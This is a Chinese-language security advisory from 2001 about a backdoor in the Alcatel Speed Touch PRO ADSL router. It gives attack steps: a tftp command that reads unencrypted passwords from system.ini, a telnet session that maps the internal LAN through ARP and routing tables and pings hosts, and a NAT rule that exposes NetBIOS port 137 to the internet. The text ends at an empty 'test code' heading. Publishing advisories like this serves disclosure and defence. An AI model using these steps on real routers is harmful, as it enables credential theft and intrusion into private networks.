ALCATEL Speed Touch PRO 存在端口重定向漏洞


发布时间:2001-04-26
更新时间:2001-04-26
严重程度:
威胁程度:其它
错误类型:设计错误
利用方式:服务器模式

受影响系统
ALCATEL Speed Touch PRO
详细描述
由于ALCATEL Speed Touch PRO 有后门和配置错误,可以使攻击者
远程拥有全部权利地访问ADSL,并且可以通过NAT/PAT对内部LAN进行攻击。
如果路由器是可以telnet的话就意味着"ip config firwalling"模式
是关闭的,在外部接口的IP接受INTERLNET连接,这样,攻击者可以通过
1-使用Shimomura Tsutomu的后门和2-使用tftp -i IPTARGET GET active/system.ini
读取没有加密的密码,这样就可以通过配置来对内部网络进行共享,如:

neuro@neuroneuro$ --> telnet router
Trying 192.168.0.1...
Connected to router.
Escape character is '^]'.

[ip]=>arplist
Intf         IP-address       HW-address          Type

It is even possible to check the routing table to learn the internal LAN
addressing.
The command is
[ip]=>rtlist
    Destination          Source           Gateway         Intf    Mtrc
    192.168.0.0/24    192.168.0.0/24     192.168.0.1      eth0   1
    192.168.0.1/32         0.0.0.0/0     192.168.0.1      eth0   0
   217.59.X.XXX/32         0.0.0.0/0    217.59.X.XXX      cip0   0
      127.0.0.1/32         0.0.0.0/0       127.0.0.1      loop   0
   217.59.X.XXX/30         0.0.0.0/0    217.59.X.XXX      cip0   1
    192.168.0.0/24         0.0.0.0/0     192.168.0.1      eth0   1
         0.0.0.0/0         0.0.0.0/0    217.59.X.XXX      cip0   1

这里可以ping启动着的机器:

[ip]=>:ip ping addr=192.168.0.2 count=10 size=100 interval=100 listen=off
108 bytes from 192.168.0.2: icmp_seq=0 time=2511 us
108 bytes from 192.168.0.2: icmp_seq=1 time=2337 us
108 bytes from 192.168.0.2: icmp_seq=2 time=2393 us
108 bytes from 192.168.0.2: icmp_seq=3 time=2314 us
108 bytes from 192.168.0.2: icmp_seq=4 time=2324 us
108 bytes from 192.168.0.2: icmp_seq=5 time=2333 us
108 bytes from 192.168.0.2: icmp_seq=6 time=2453 us
108 bytes from 192.168.0.2: icmp_seq=7 time=2350 us
108 bytes from 192.168.0.2: icmp_seq=8 time=2299 us
108 bytes from 192.168.0.2: icmp_seq=9 time=2353 us
我们可以利用NAT/PAT特征重定向端口137,138,139 TCP/UDP ,并把NETBIOS
资源直接映射到INTERNET上:
NAT>create protocol=tcp inside_addr=192.168.0.2:137 outside_addr=217.59.9.154:137

这样就可以通过\\ipdelrouteralcatel来共享内部网络资源。

测试代码
